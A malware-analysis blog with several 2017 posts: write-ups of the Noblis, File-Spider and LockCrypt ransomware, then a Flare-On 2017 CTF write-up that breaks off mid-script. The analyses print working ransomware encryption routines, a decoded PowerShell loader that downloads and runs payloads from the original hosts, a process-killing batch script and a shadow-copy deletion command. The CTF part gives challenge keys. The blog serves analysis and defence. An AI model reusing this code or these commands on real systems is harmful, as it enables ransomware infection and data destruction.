This is all about malware analysis, reverse engineering and some cool stuff

Wednesday, 13 December 2017

Analysis of Noblis In-dev Ransomware

December 13, 2017 Posted by SDKHERE , , , No comments
Noblis is in-development ransomware which is built in python and packed by PyInstaller.
You can refer my previous blog to know how to identify and reverse python built execuctables.

We have following sample:
Hash : 3BEEE8D7F55CD8298FCB009AA6EF6AAE [App.Any]

The sample is UPX packed, after unpacking we get following sample.
Hash : A886E7FAB4A2F1B1B048C217B4969762

The binary has many python reference strings and a zlib archive appended to it as an overlay.
You can use PyExtractor tool to extract the python code from the binary.

After extraction we get AES encrypted python modules.
AES key is present in file pyimod00_crypto_key which is "9876501234DAVIDM" and you can use below script to extract those modules.

from Crypto.Cipher import AES
import zlib
import sys

CRYPT_BLOCK_SIZE = 16

# key obtained from pyimod00_crypto_key
key = '9876501234DAVIDM'

inf = open(sys.argv[1], 'rb') # encrypted file input
outf = open(sys.argv[1]+'.pyc', 'wb') # output file 

# Initialization vector
iv = inf.read(CRYPT_BLOCK_SIZE)

cipher = AES.new(key, AES.MODE_CFB, iv)

# Decrypt and decompress
plaintext = zlib.decompress(cipher.decrypt(inf.read()))

# Write pyc header
outf.write('\x03\xf3\x0d\x0a\0\0\0\0')

# Write decrypted data
outf.write(plaintext)

inf.close()
outf.close()

Let's move towards the ransomware.
On execution of ransomware, It creates a mutex of name "mutex_rr_windows", if the mutex is already created it will open only gui panel otherwise it runs crypter.
The main wrapper of this ransomware is below.

  def __init__(self):
    '''
    @summary: Constructor
    '''
    self.__config = self.__load_config()
    self.encrypted_file_list = os.path.join(os.environ['APPDATA'], "encrypted_files.txt")

    # Init Crypt Lib
    self.Crypt = Crypt.SymmetricCrypto()

    # FIRST RUN
    # Encrypt!
    if not os.path.isfile(self.encrypted_file_list):
      self.Crypt.init_keys()
      file_list = self.find_files()
      # Start encryption
      self.encrypt_files(file_list)
      # If no files were encrypted. do nothing 
      if not os.path.isfile(self.encrypted_file_list):
          return
      # Present GUI
      self.start_gui()
    # ALREADY ENCRYPTED
    # Present menu
    elif os.path.isfile(self.encrypted_file_list):
      self.start_gui()

It checks a file encrypted_files.txt in %APPDATA%, if it is not there it will proceed the encryption.
It initializes the encryption key, find the specified files for encryption, encrypt them, makes entry of each encrypted file in encrypted_files.txt and displays a gui form.



The ransomware has independent configuration file (runtime.cfg) which is loaded at runtime.
Configuration file has encrypted file extension, ransom note, file type to be encrypted, BTC amount, wallet address etc.



Here, wallet address is invalid that's why we are calling it in-development ransomware.
Ransom note is in Spanish and it points to an handle @4v4t4r.

Let's have a look at encryption process.

    def init_keys(self, key=None):
        """
        @summary: initialise the symmetric keys. Uses the provided key, or creates one
        @param key: If None provided, a new key is generated, otherwise the provided key is used
        """
        if not key:
            self.load_symmetric_key()
        else:
            self.key = key

    def load_symmetric_key(self):
        if os.path.isfile('key.txt'):
            fh = open('key.txt', 'r')
            self.key = fh.read()
            fh.close()
        else:
            self.key = self.generate_key()

    def generate_key(self):
        key = ('').join((random.choice('0123456789ABCDEF') for i in range(32)))
        fh = open('key.txt', 'w')
        fh.write(key)
        fh.close()
        return key
  
    def encrypt_file(self, file, extension):
        """
        @summary: Encrypts the target file
        @param file: Absolute path to the file to encrypt
        @param extension: The extension to add to the encrypted file
        """
        file_details = self.process_file(file, 'encrypt', extension)
        if file_details['error']:
            return False
        try:
            fh_read = open(file_details['full_path'], 'rb')
            fh_write = open(file_details['locked_path'], 'wb')
        except IOError:
            return False

        while True:
            block = fh_read.read(self.BLOCK_SIZE_BYTES)
            if not block:
                break
            to_encrypt = self.pad(block)
            iv = Random.new().read(AES.block_size)
            cipher = AES.new(self.key, AES.MODE_CBC, iv)
            try:
                ciphertext = iv + cipher.encrypt(to_encrypt)
            except MemoryError:
                return False

            fh_write.write(ciphertext)

        fh_write.close()
        fh_read.close()
        file_details['state'] = 'encrypted'
        return file_details['locked_path']

If key.txt is not present in current directory, It will generates a AES key of size 32 bytes and store it on key.txt and at the time of encryption it generates an Initial Vector (IV), encrypts the files with AES-256 having extensions specified in configuration file.
First 16 bytes of every encrypted file is IV and rest are encrypted with this IV and key stored in key.txt.

After encryption of every files it will start a GUI panel shown below.


Decryption tool -


The ransomware has the code for RSA encryption but it is not used here, maybe it will come with RSA encryption in next version.


class GenerateKeys:

    def __init__(self):
        self.local_public_key = ''
        self.local_private_key = ''
        self.key_length = 2048
        rsa_handle = RSA.generate(self.key_length)
        self.local_private_key = rsa_handle.exportKey('PEM')
        self.local_public_key = rsa_handle.publickey()
        self.local_public_key = self.local_public_key.exportKey('PEM')


class EncryptKey:

    def __init__(self, recipient_public_key, sym_key):
        self.recipient_public_key = recipient_public_key
        self.key_to_encrypt = str(sym_key)
        self.encrypted_key = self.encrypt_key()

    def encrypt_key(self):
        rsa_handle = RSA.importKey(self.recipient_public_key)
        key = rsa_handle.encrypt(self.key_to_encrypt, 1)
        return key


class DecryptKey:

    def __init__(self, private_key, sym_key, phrase):
        self.private_key = private_key
        self.key_to_decrypt = sym_key
        self.phrase = phrase
        self.decrypted_key = self.decrypt_key()

    def decrypt_key(self):
        rsa_handle = RSA.importKey(self.private_key, self.phrase)
        key = rsa_handle.decrypt(self.key_to_decrypt)
        return key



Monday, 11 December 2017

Analysis of File-Spider Ransomware

December 11, 2017 Posted by SDKHERE , , , , , 1 comment
MD5: de7b31517d5963aefe70860d83ce83b9 [VirusTotal]
FileName: BAYER_CROPSCIENCE_OFFICE_BEOGRAD_93876.doc
FileType: MS Word Document

The Word file has embedded macro.
When you look into macro code, you will find below snippet.

Private Function decodeBase64(ByVal strData As String) As Byte()
    Dim objXML As MSXML2.DOMDocument
    Dim objNode As MSXML2.IXMLDOMElement
    
    Set objXML = New MSXML2.DOMDocument
    Set objNode = objXML.createElement("b64")
    objNode.dataType = "bin.base64"
    objNode.Text = strData
    decodeBase64 = objNode.nodeTypedValue
    
    Set objNode = Nothing
    Set objXML = Nothing
End Function

Private Function str() As String

str = "cG93ZXJzaGVsbC5leGUgLXdpbmRvd3N0eWxlIGhpZGRlbiAkZGlyID0gW0Vudmlyb25tZW50XTo6R2V0Rm9sZGVyUGF0aCgnQXBwbGljYXRpb25EYXRhJykgKyAnXFNwaWRlcic7JGVuYyA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjg7ZnVuY3Rpb24geG9yIHtwYXJhbSgkc3RyaW5nLCAkbWV0aG9kK"
str = str + "SR4b3JrZXkgPSAkZW5jLkdldEJ5dGVzKCdBbGJlclRJJyk7JHN0cmluZyA9ICRlbmMuR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJHN0cmluZykpOyRieXRlU3RyaW5nID0gJGVuYy5HZXRCeXRlcygkc3RyaW5nKTskeG9yZERhdGEgPSAkKGZvciAoJGkgPSAwOyAkaSAtbH"
str = str + "QgJGJ5dGVTdHJpbmcubGVuZ3RoKXtmb3IoJGogPSAwOyAkaiAtbHQgJHhvcmtleS5sZW5ndGg7ICRqKyspeyRieXRlU3RyaW5nWyRpXSAtYnhvciAkeG9ya2V5WyRqXTskaSsrO2lmKCRpIC1nZSAkYnl0ZVN0cmluZy5MZW5ndGgpeyRqID0gJHhvcmtleS5sZW5ndGh9fX0pOyR4b3JkRGF0YSA9ICRlbmMuR2V"
str = str + "0 U3RyaW5nKCR4b3JkRGF0YSk7cmV0dXJuICR4b3JkRGF0YX07ZnVuY3Rpb24gZGF0YSB7cGFyYW0oJG1ldGhvZCkkd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDsgaWYgKCRtZXRob2QgLWVxICdkJyl7JGlucHV0ID0gJHdlYkNsaWVudC5Eb3dubG9hZFN0cmluZygnaHR0cDov"
str = str + "L3lvdXJqYXZhc2NyaXB0LmNvbS81MTE4NjMxNDc3L2phdmFzY3JpcHQtZGVjLTItMjUtMi5qcycpfWVsc2V7JGlucHV0ID0gJHdlYkNsaWVudC5Eb3dubG9hZFN0cmluZygnaHR0cDovL3lvdXJqYXZhc2NyaXB0LmNvbS81MzEwMzIwMTI3Ny9qYXZhc2NyaXB0LWVuYy0xLTAtOS5qcycpfSRieXRlcyA9IFtDb"
str = str + "252 ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyggKHhvciAkaW5wdXQgJ2QnKSApO3JldHVybiAgJGJ5dGVzfTtmdW5jdGlvbiBpbyB7cGFyYW0oJG1ldGhvZClpZigkbWV0aG9kIC1lcSAnZCcpeyRmaWxlbmFtZSA9ICRkaXIgKyAnXGRlYy5leGUnfWVsc2V7JGZpbGVuYW1lID0gJGRpciArICdcZW5jLmV4ZSd9W0"
str = str + "lPLkZpbGVdOjpXcml0ZUFsbEJ5dGVzKCRmaWxlbmFtZSwgKGRhdGEgJG1ldGhvZCkpfTtmdW5jdGlvbiBydW4ge3BhcmFtKCRtZXRob2QpaWYgKCRtZXRob2QgLWVxICdkJyl7aW8gJ2QnOyBIC1GaWxlUGF0aCAoJGRpciArICdcZGVjLmV4ZScpIC1Bcmd1bWVudExpc3QgJ3NwaWRlcid"
str = str + "9ZWxzZXtpbyAnZSc7IFN0YXJ0LVByb2Nlc3MgLUZpbGVQYXRoICgkZGlyICsgJ1xlbmMuZXhlJykgLUFyZ3VtZW50TGlzdCAnc3BpZGVyJywgJ2t0bicsICcxMDAnfX07aWYoIFRlc3QtUGF0aCAkZGlyKXt9ZWxzZXttZCAkZGlyOyBydW4gJ2QnOyBydW4gJ2UnIH0="

str = StrConv(decodeBase64(str), vbUnicode)

End Function

After Base64 decoding, we will get following powershell script.

powershell.exe -windowstyle hidden $dir = [Environment]::GetFolderPath('ApplicationData') + '\Spider';$enc = [System.Text.Encoding]::UTF8;
function xor{
param($string, $method)$xorkey = $enc.GetBytes('AlberTI');
$string = $enc.GetString([System.Convert]::FromBase64String($string));
$byteString = $enc.GetBytes($string);
$xordData = $(for ($i = 0; 
$i -lt $byteString.length){for($j = 0; $j -lt $xorkey.length; 
$j++){$byteString[$i] -bxor $xorkey[$j];
$i++;if($i -ge $byteString.Length){$j = $xorkey.length}}});
$xordData = $enc.GetString($xordData);return $xordData};
function data {
param($method)$webClient = New-Object System.Net.WebClient; 
if ($method -eq 'd'){
$input = $webClient.DownloadString('http://yourjavascript.com/5118631477/javascript-dec-2-25-2.js')}
else{
$input = $webClient.DownloadString('http://yourjavascript.com/53103201277/javascript-enc-1-0-9.js')}
$bytes = [Convert]::FromBase64String( (xor $input 'd') );
return  $bytes};
function io {
param($method)
if($method -eq 'd'){
$filename = $dir + '\dec.exe'}
else{
$filename = $dir + '\enc.exe'}[IO.File]::WriteAllBytes($filename, (data $method))};
function run {
param($method)
if ($method -eq 'd'){io 'd'; 
Start-Process -FilePath ($dir + '\dec.exe') -ArgumentList 'spider'}
else{
io 'e'; Start-Process -FilePath ($dir + '\enc.exe') -ArgumentList 'spider', 'ktn', '100'}};
if( Test-Path $dir){}else{md $dir; run 'd'; run 'e' }

The PowerShell script first creates a directory %APPDATA%\Spider, downloads decryptor (dec.exe), downloads and execute encryptor (enc.exe).

Encryptor is downloaded from hxxp://yourjavascript.com/53103201277/javascript-enc-1-0-9.js which is base64 encoded and encrypted with xor, encryption key for xor is "AlberTI", so encryptor is downloaded, decrypted, saved at %APPDATA%\enc.exe and execute with 3 arguments "spider", "ktn", "100".

Similarly decryptor is downloaded from hxxp://yourjavascript.com/5118631477/javascript-dec-2-25-2.js, which is again bas64 encoded and encrypted with xor, xor key is same. It is decrypted, saved at %APPDATA%\dec.exe and executed with argument "spider".

Encryptor (enc.exe) :

MD5 : 67D5ABDA3BE629B820341D1BAAD668E3 [VirusTotal]
FileName: enc.exe
FileType: MSIL

This binary is executed with 3 arguments "spider", "ktn" and "100".
First of all it creates a Victim's ID and dumps it to %APPDATA%\Spider\id.txt


One string is created by 0x20 bytes of random number, second argument (ktn) and third argument (100). It is encrypted with RSA algorithm, RSA public key is hardcoded in the function which is-

<RSAKeyValue<Modulus>w7eSLIEBvAgxfDAH/P+ktHJa5Okev4klIRleEhAnR9/1gs5ZHySCUgidDJUVaFrplYLgMUDbsR9aUCBwf07CD8bJL6rUHqeIxpYoF2M7bGW5Vulz3w8C9WMxqnzsqfak9wbt9rT63HoZ5zPHy2ieBfkAEs3XsuaU/q2drl2mQhZodGF+nwiiwfq0gOK+XvPPp9Nq3bCPhVUBzAcp2tXcplT4GjDfSyR8M2VfRzWChipf+plUmcvUafki56ubNW9pApUpd7UOEY1UKqHneMYdVJNhNrsx3T+wJiQNKj2/NMWSfGrN9W+QAVBnqbPgxmSYhfYNy7Fra32yOZ7ho3H1sw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>

Encrypted data is encoded with base64 and saved at %APPDATA%\Spider\id.txt, which is a victim's ID and useful for decryption process.

The sample traverses each drives and encrypt those files which has following extensions.

lnk url contact 1cd dbf dt cf cfu mxl epf kdbx erf vrp grs geo st conf pff mft efd 3dm 3ds rib ma sldasm sldprt max blend 
lwo lws m3d mb obj x x3d movie byu c4d fbx dgn dwg 4db 4dl 4mp abs accdb accdc accde accdr accdt accdw accft adn a3d adp 
aft ahd alf ask awdb azz bdb bib bnd bok btr bak backup cdb ckp clkw cma crd daconnections dacpac dad dadiagrams daf daschema
db db-shm db-wal db2 db3 dbc dbk dbs dbt dbv dbx dcb dct dcx ddl df1 dmo dnc dp1 dqy dsk dsn dta dtsx dxl eco ecx edb emd eql 
fcd fdb fic fid fil fm5 fmp fmp12 fmpsl fol fp3 fp4 fp5 fp7 fpt fzb fzv gdb gwi hdb his ib idc ihx itdb itw jtx kdb lgc maq mdb 
mdbhtml mdf mdn mdt mrg mud mwb s3m myd ndf ns2 ns3 ns4 nsf nv2 nyf oce odb oqy ora orx owc owg oyx p96 p97 pan pdb pdm phm pnz 
pth pwa qpx qry qvd rctd rdb rpd rsd sbf sdb sdf spq sqb stp sql sqlite sqlite3 sqlitedb str tcx tdt te teacher tmd trm udb usr 
v12 vdb vpd wdb wmdb xdb xld xlgc zdb zdc cdr cdr3 ppt pptx 1st abw act aim ans apt asc ascii ase aty awp awt aww bad bbs bdp bdr 
bean bna boc btd bzabw chart chord cnm crwl cyi dca dgs diz dne doc docm docx docxml docz dot dotm dotx dsv dvi dx eio eit email 
emlx epp err etf etx euc fadein faq fb2 fbl fcf fdf fdr fds fdt fdx fdxt fes fft flr fodt fountain gtp frt fwdn fxc gdoc gio gpn 
gsd gthr gv hbk hht hs htc hwp hz idx iil ipf jarvis jis joe jp1 jrtf kes klg knt kon kwd latex lbt lis lit lnt lp2 lrc lst ltr 
ltx lue luf lwp lxfml lyt lyx man map mbox md5txt me mell min mnt msg mwp nfo njx notes now nwctxt nzb ocr odm odo odt ofl oft 
openbsd ort ott p7s pages pfs pfx pjt plantuml prt psw pu pvj pvm pwi pwr qdl rad readme rft ris rng rpt rst rt rtd rtf rtx run 
rzk rzn saf safetext sam scc scm scriv scrivx sct scw sdm sdoc sdw sgm sig skcard sla slagz sls smf sms ssa strings stw sty sub 
sxg sxw tab tdf tex text thp tlb tm tmv tmx tpc trelby tvj txt u3d u3i unauth unx uof uot upd utf8 unity utxt vct vnt vw wbk wcf 
webdoc wgz wn wp wp4 wp5 wp6 wp7 wpa wpd wpl wps wpt wpw wri wsc wsd wsh wtx xbdoc xbplate xdl xlf xps xwp xy3 xyp xyw ybk yml zabw
zw 2bp 036 3fr 0411 73i 8xi 9png abm afx agif agp aic albm apd apm apng aps apx art artwork arw asw avatar bay blkrt bm2 bmp bmx 
bmz brk brn brt bss bti c4 cal cals can cd5 cdc cdg cimg cin cit colz cpc cpd cpg cps cpx cr2 ct dc2 dcr dds dgt dib dicom djv djvu 
dm3 dmi vue dpx wire drz dt2 dtw dvl ecw eip exr fal fax fpos fpx g3 gcdp gfb gfie ggr gif gih gim gmbck gmspr spr scad gpd gro grob
hdp hdr hpi i3d icn icon icpr iiq info int ipx itc2 iwi j j2c j2k jas jb2 jbig jbig2 jbmp jbr jfif jia jng jp2 jpe jpeg jpg jpg2 
jps jpx jtf jwl jxr kdc kdi kdk kic kpg lbm ljp mac mbm mef mnr mos mpf mpo mrxs myl ncr nct nlm nrw oc3 oc4 oc5 oci omf oplc af2 
af3 ai asy cdmm cdmt cdmtz cdmz cdt cgm cmx cnv csy cv5 cvg cvi cvs cvx cwt cxf dcs ded design dhs dpp drw dxb dxf egc emf ep eps 
epsf fh10 fh11 fh3 fh4 fh5 fh6 fh7 fh8 fif fig fmv ft10 ft11 ft7 ft8 ft9 ftn fxg gdraw gem glox hpg hpgl hpl idea igt igx imd vbox
vdi ink lmk mgcb mgmf mgmt mt9 mgmx mgtx mmat mat otg ovp ovr pcs pfd pfv pl plt pm vrml pmg pobj ps psid rdl scv sk1 sk2 slddrt 
snagitstamps snagstyles ssk stn svf svg svgz sxd tlc tne ufr vbr vec vml vsd vsdm vsdx vstm stm vstx wmf wpg vsm vault xar xmind 
xmmap yal orf ota oti ozb ozj ozt pal pano pap pbm pc1 pc2 pc3 pcd pcx pdd pdn pe4 pef pfi pgf pgm pi1 pi2 pi3 pic pict pix pjpeg 
pjpg png pni pnm pntg pop pp4 pp5 ppm prw psd psdx pse psp pspbrush ptg ptx pvr px pxr pz3 pza pzp pzs z3d qmg ras rcu rgb rgf ric 
riff rix rle rli rpf rri rs rsb rsr rw2 rwl s2mv sai sci sep sfc sfera sfw skm sld sob spa spe sph spj spp sr2 srw ste sumo sva save 
ssfn t2b tb0 tbn tfc tg4 thm thumb tif tiff tjp tm2 tn tpi ufo uga usertile-ms vda vff vpe vst wb1 wbc wbd wbm wbmp wbz wdp webp wpb 
wpe wvl x3f y ysp zif cdr4 cdr6 cdrw pdf pbd pbl ddoc css pptm raw cpt tga xpm ani flc fb3 fli mng smil mobi swf html xls xlsx csv 
xlsm ods xhtm 7z m2 rb rar wmo mcmeta m4a itm vfs0 indd sb mpqge fos p7c wmv mcgame db0 p7b vdf DayZProfile p12 d3dbsp ztmp rofl 
sc2save sis hkx pem dbfv sie sid bar crt sum ncf upk cer wb2 ibank menu das der t13 layout t12 dmp litemod dxg qdf blob asset xf esm 
forge tax 001 r3d pst pkpass vtf bsa bc6 dazip apk bc7 fpk re4 bkp mlx sav raf qic kf lbf bkf iwd slm xlk sidn vpk bik mrwref xlsb 
sidd tor epk mddata psk rgss3a itl rim pak w3x big icxs fsh unity3d hvpl ntl wotreplay crw hplg arch00 xxx hkdb lvl desc mdbackup snx 
py srf odc syncdb cfr m3u gho ff odp cas vpp_pc js dng lrf c cpp cs h bat ps1 php asp java jar class aaf aep aepx plb prel prproj aet 
ppj indl indt indb inx idml pmd xqx fla as3 as docb xlt xlm xltx xltm xla xlam xll xlw pot pps potx potm ppam ppsx ppsm sldx sldm aif 
iff m4u mid mpa ra 3gp 3g2 asf asx vob m3u8 mkv dat efx vcf xml ses zip 7zip mp4 3gp webm wmv

Directories which are going to skip are :

"tmp", "Videos", "winnt", "Application Data", "Spider", "PrefLogs", "Program Files (x86)", "Program Files", "ProgramData", "Temp", "Recycle", "System Volume Information", "Boot", "Windows"

Each file is encrypted by AES CFB algorithm with same key which is encrypted by RSA and random 0x20 bytes of salt.



The password and salt are randomly generated.
These two are different for each file so it is prepended with encrypted file.
First 0x20 bytes is salt, 0x50 bytes is AES encrypted password and rest of them are encrypt file data.



After the encryption of each file, It will add full path of encrypted file in %APPDATA%\Spider\files.txt



In each directory, it creates an internet shortcut file of name "HOW TO DECRYPT FILES.url" which redirect to hxxps://vid.me/embedded/CGyDc?autoplay=1&stats=1. Its a video which shows how to remove rensomware by paying ransom in Bitcoin to the attacker.

It appends .spider extension to each encrypted file.


Decryptor (dec.exe) :

MD5: fdd465863a4c44aa678554332d20aee3 [VirusTotal]
FileName: dec.exe
FileType: MSIL

The dec.exe is executed with single argument "spider".
It creates a mutex of name "SpiderForm" to avoid execution of multiple instances.
The argument provided to this must be "spider" or "startup" for further execution.



Then it creates a thread which terminates all the following processes.
"taskmgr", "procexp", "msconfig", "Starter", "regedit", "cdclt", "cmd", "OUTLOOK", "WINWORD", "EXCEL", "MSACCESS"

After that it makes a run entry (SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run) for dec.exe to run it on startup.
Name : "Starter"
Value : "%APPDATA%\Spider\dec.exe startup"

In the last, it will start the form which contains payment instructions and decryption tool.





Payment site of file spider ransomware is spiderwjzbmsmu7y[.]onion




IOCs :

MS word document : de7b31517d5963aefe70860d83ce83b9
Encrypted enc.exe : hxxp://yourjavascript.com/53103201277/javascript-enc-1-0-9.js
Encrypted dec.exe : hxxp://yourjavascript.com/5118631477/javascript-dec-2-25-2.js
enc.exe : 67D5ABDA3BE629B820341D1BAAD668E3
dec.exe : fdd465863a4c44aa678554332d20aee3
Payment site : spiderwjzbmsmu7y[.]onion
Video : hxxps://vid.me/embedded/CGyDc?autoplay=1&stats=1


Thursday, 30 November 2017

Analysis of LockCrypt ransomware

November 30, 2017 Posted by SDKHERE , No comments
Introduction:

Attackers have been recently breaking into corporate servers via RDP brute force attacks to spread a new variant of ransomware called LockCrypt. The attacks first started in June but there was an increase of attacks in October. The victims were asked to pay 0.5 to 1 BTC to recover their server.
LockCrypt encrypts all files and rename them with a '.lock' extension. It also installs itself for persistence and deletes backup.

Let's have a look at the sample.

MD5 : 12A4388ADE3FAD199631F6A00894104C [VirusTotal] [HybridAnalysis]
Size  : 48128 bytes

When we execute this sample, following dialogue box will appear.


Fig1 : Window after execution of malware


Environment Setup :

On execution, First of all it copies itself to C:\Windows\bfsvcm.exe
Then it creates a batch file of name w.bat and execute it to kill all the specified processes, this is for antivirus and sandbox evasion.

You can see the batch script below.

SetLocal EnableDelayedExpansion EnableExtensions
Set WinTitle=%Random%%Random%
Title %WinTitle%
For /F "tokens=2 skip=2 delims=," %%P In ('tasklist /FI "WINDOWTITLE eq %WinTitle%" /FO CSV') Do (Set MyPID=%%~P)
Title %~n0
Set WhiteList=Microsoft.ActiveDirectory.WebServices.exe:cmd.exe:find.exe:conhost.exe:explorer.exe:ctfmon.exe:dllhost.exe:lsass.exe:services.exe:smss.exe:tasklist.exe:winlogon.exe:wmiprvse.exe:msdts.exe:bfsvc.exe:AdapterTroubleshooter.exe:alg.exe:dwm.exe:issch.exe:rundll32.exe:spoolsv.exe:wininit.exe:wmiprvse.exe:wudfhost.exe:taskmgr.exe:rdpclip.exe:logonui.exe:lsm.exe:spoolsv.exe:dwm.exe:dfssvc.exe:csrss.exe:svchost.exe:59F6B4DF10330000_59F6B4E800000000.exe:=5 delims=," %%p In ('tasklist /FO CSV') Do (Echo :!ProcList!|Find /I ":%%~p:">nul||Set ProcList=%%~p:!ProcList!)
:Compare
For /F "tokens=1,* delims=:" %%C In ("!ProcList!") Do (
If Not "%%C"=="" (
Echo :!WhiteList!|Find /I ":%%C:">nul||Call :Kill "%%C"
Set ProcList=%%D
GoTo Compare
)
)
Exit
:Kill
If "%~1"=="cmd.exe" (
TaskKill /F /FI "PID ne %MyPID%" /FI "IMAGENAME eq cmd.exe"
) Else (
TaskKill /F /IM "%~1"
)
del W.bat
Exit /B

After processes termination, It calls DialogBoxParamA windows API.
It is abusing windows API to execute malicious procedure.

You can see the below code.

Fig2 : DialogBoxParamA function call

Here we have callback function for dialog box, so we will not skip this API.
Let's look into the callback function.
Here we have multiple cases, in first case it is playing with registry.

First it ShellExecute the following command to delete backup storage.
"vssadmin delete shadows /all"
After that it creates a "Hacked" subkey in the following registry key.
"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"


Fig3 : Storing victim id in registry

By default it is initializing value of "Hacked" as "SfplHinIptOwnboa".
This is unique victim's id and it is very useful in encryption process, this value is changes and reassign to registry later.

After that, It will modify below subkeys and values of the same registry key.

LegalNoticeCaption = "Attention!!! Your files are encrypted !!!"
LegalNoticeText = "To recover files, follow the prompts in the text file "Readme""
Userinit = "C:\Windows\system32\userinit.exe, C:\Windows\bfsvcm.exe"

This is for displaying message on logon screen of user's system.


Fig4 : Logon screen

You can see the registry of my infected system.

Fig5 : Registry of infected system


Encryption Process :

After the above environment setup, it creates victim's id and store it into "Hacked" registry mentioned above.
Code for creating unique victim's id is :

unsigned int sub_401AC7()
{
  unsigned int v0; // eax@1

  v0 = dword_40C86F;
  if ( !dword_40C86F )
  {
    v0 = GetTickCount();
    dword_40C86F = v0;
  }
  dword_40C86F = 16807 * (v0 % 0x1F31D) - 2836 * (v0 / 0x1F31D);
  return dword_40C86F % 0x64u;
}

After creating and assigning id to registry, the ransomware will send the base64 encoded victim information to the command and control server.


Fig6 : Packet sent to C2 server

The IP address of the server is 46.32.17[.]222 and the format of the information sent to server is.
Victim_ID | Operating_System | System | Malware_Location

When the server get this information, it sends huge data in response to that.

Fig7 : Server response after getting victim's info

This data is unique and depends on the victim's information and it plays a major role in encryption process.

The encryption algorithm is very simple, it just XOR and ByteSwapping of file data with data received from server.
You can see the encryption algorithm used by this ransomware below.

unsigned __int32 __stdcall sub_401865(int a1, unsigned int a2)
{
  int v2; // ecx@1
  int v3; // edx@1
  int v4; // ebx@1
  int v5; // esi@1
  int v6; // edi@1
  unsigned int v7; // ecx@5
  int v8; // edx@5
  int v9; // ebx@5
  int v10; // esi@5
  int v11; // edi@5
  int v12; // eax@6
  unsigned __int32 result; // eax@6

  v2 = 2 * (a2 >> 2);
  v3 = dword_40D83C;
  v4 = dword_40D5B0 + dword_40D83C;
  v5 = a1;
  v6 = a1;
  do
  {
    *(_DWORD *)v6 = *(_DWORD *)v3 ^ *(_DWORD *)v5;
    v5 += 2;
    v6 += 2;
    v3 += 4;
    if ( v3 == v4 )
      v3 = dword_40D83C;
    --v2;
  }
  while ( v2 );
  v7 = a2 >> 2;
  v8 = dword_40D83C;
  v9 = dword_40D5B0 + dword_40D83C;
  v10 = a1;
  v11 = a1;
  do
  {
    v12 = *(_DWORD *)v10;
    v10 += 4;
    v12 = __ROL4__(v12, 5);
    result = _byteswap_ulong(*(_DWORD *)v8 ^ v12);
    *(_DWORD *)v11 = result;
    v11 += 4;
    v8 += 4;
    if ( v8 == v9 )
      v8 = dword_40D83C;
    --v7;
  }
  while ( v7 );
  return result;
}

It is very hard to make decryption tool for this ransomware because the data is changing as per the victim id and also we don't know the server side algorithm.
It skips first 4 bytes and last 6 bytes of every file and encrypt rest of the data.

After the encryption, it will rename each file in the following format.
File extension : [base64 of filename] ID [Victim ID].lock

It drops ReadMe.TxT in C:\ which is a ransom note, makes run entry for the same to execute it on startup.
Microsoft Windows Operating System = "C:\Windows\notepad.exe C:\ReadMe.TxT"


Fig8 : Ransom note (ReadMe.TxT)


IOCs :

Hash  : 1df3d4da1ef11373966f54a6d67c38a223229f272438e1c6ec7cb4c1ea3ff3e2
CnC   : 46.32.17[.]222
Email : enigmax_x@aol[.]com and enigmax_x@bitmessage[.]ch

Sunday, 15 October 2017

Flare-On Challenge 2017 Writeup

October 15, 2017 Posted by SDKHERE , , No comments

Flare-on is an annual CTF style challenge organized by Fire-eye with a focus on reverse engineering.
Overall, there were 12 challenges to complete. Instead of detailed write-up, I am just covering the important parts.
Following are the instructions to solve these challenges:
1. Analyse the sample and find the key
2. Each key looks like an email address and ends with @flare-on.com
3. Enter the key for each challenge in Flare-on CTF app to unlock next challenge
4. Complete all the puzzles and win a prize

Flare-On 2017 challenges - download
Password - flare


Challenge 1 : Login.html

The first challenge was very simple. There is an HTML file having text input form. We need  to provide the flag to check for its correctness.

Here is the content of login.html

<!DOCTYPE Html />
<html>
    <head>
        <title>FLARE On 2017</title>
    </head>
    <body>
        <input type="text" name="flag" id="flag" value="Enter the flag" />
        <input type="button" id="prompt" value="Click to check the flag" />
        <script type="text/javascript">
            document.getElementById("prompt").onclick = function () {
                var flag = document.getElementById("flag").value;
                var rotFlag = flag.replace(/[a-zA-Z]/g, function(c){return String.fromCharCode((c <= "Z" ? 90 : 122) >= (c = c.charCodeAt(0) + 13) ? c : c - 26);});
                if ("PyvragFvqrYbtvafNerRnfl@syner-ba.pbz" == rotFlag) {
                    alert("Correct flag!");
                } else {
                    alert("Incorrect flag, rot again");
                }
            }
        </script>
    </body>
</html>

By looking at c.charCodeAt(0) + 13 we can say that it is the algorithm for ROT-13.
It is taking the input, performs ROT-13 and compares it with "PyvragFvqrYbtvafNerRnfl@syner-ba.pbz".
So, we can say our key is encoded with ROT-13.
To decode this, we can use online converter. Just put encoded key in ROT13 section, you will get the decoded key.
Key : ClientSideLoginsAreEasy@flare-on.com


Challenge 2 : IgniteMe.exe

This is a crack me challenge. It is a command line tool, takes a input from user and checks whether it is correct or not.
In the function 401050, you can see where the input is processed by xor loop.


The XOR key is hardcoded and which is 0x4, This function xor input data with 0x4 in reverse order and compare it against the hardcoded encrypted data.
So, we have encrypted data and encryption key, we know the algorithm.
Here is the python script to get the key.

enc = bytearray.fromhex("000D2649452A1778442B6C5D5E45122F172B446F6E56095F454773260A0D1317484201404D0C0269")
key = 0x4
out = ""
for i in range(len(enc)-1, 0, -1):
 out += chr(enc[i] ^ key)
 key = enc[i] ^ key
print out
print out[::-1]

Key : R_y0u_H0t_3n0ugH_t0_1gn1t3@flare-on.com


Challenge 3 : greek_to_me.exe

The executable will start a listening socket on port 2222 and waits to receive data in a small buffer.
When you reverse engineering the binary, you will see the buffer is transferred to a 8-bit register that means input is an ascii character ranging from 0x0 to 0xff.

With the help of this character it performs some operation on data at 0x40107c.
You can see the code at 0x401029.



To decrypt the data properly we need the character input character.
We have to create a client for this binary and brutforce input from 0 to 0xff and print the output.
Here I have implemented below client in python.

import os
import socket
import subprocess

HOST = 'localhost'
PORT = 2222
ADDR = (HOST,PORT)
BUFSIZE = 4

for byte in range(0xff):

